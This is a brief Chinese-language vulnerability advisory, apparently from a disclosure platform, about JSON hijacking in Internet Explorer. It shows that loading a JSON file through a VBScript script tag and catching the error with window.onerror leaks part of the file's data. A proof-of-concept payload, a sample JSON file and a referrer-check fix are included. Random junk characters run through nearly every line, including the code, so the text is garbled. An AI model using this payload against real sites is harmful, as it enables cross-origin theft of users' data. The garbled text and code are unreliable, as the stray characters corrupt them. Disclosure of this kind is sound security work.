简要描述:
* W4 E$ J% X+ B! n5 x! L- A4 I' |- u5 y+ d
由于某些资源容器对数据处理不当导致json劫持漏洞.
- f7 s/ G' S F) H* B详细说明:& d( g3 f0 d0 j, y
由于ie支持vbscript,所以script元素可以指定成vbscript语言:7 _' i: P' J; Q9 L
<script language=vbscript></script>
1 `5 g% u+ q! ^# W: G. }
& h1 e5 J, e* R& h' u q* R" |当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.* c4 }4 d* |! p- L9 q# M f% U
漏洞证明:9 J4 t, } D/ i* d
<script>$ H, I% G. t( q$ h
window.onerror=function(_){
1 P% `# e; c; halert(_)0 y# F- |7 C2 T6 x; M2 N8 B
}& x/ _+ `! ]: k. T8 |. r: t( P
</script>
) w) A. a" ?% q7 y<script language=vbscript src=1.json></script>
, B0 _% D) K1 t; t1 F . D8 v* W7 P5 _* g
- Z0 o) |& U7 Z" F+ t6 H; E: }4 v% G1.json:
7 m' ?# d: u0 H" f, e1 r+ R[{"name":"sogili","age":19}]0 q- v: y) Q" N- g. Z; R0 p
修复方案:0 o% _6 q; Z2 Z' D
网站业务对于这个问题可以通过验证referrer是否为同源来防御 |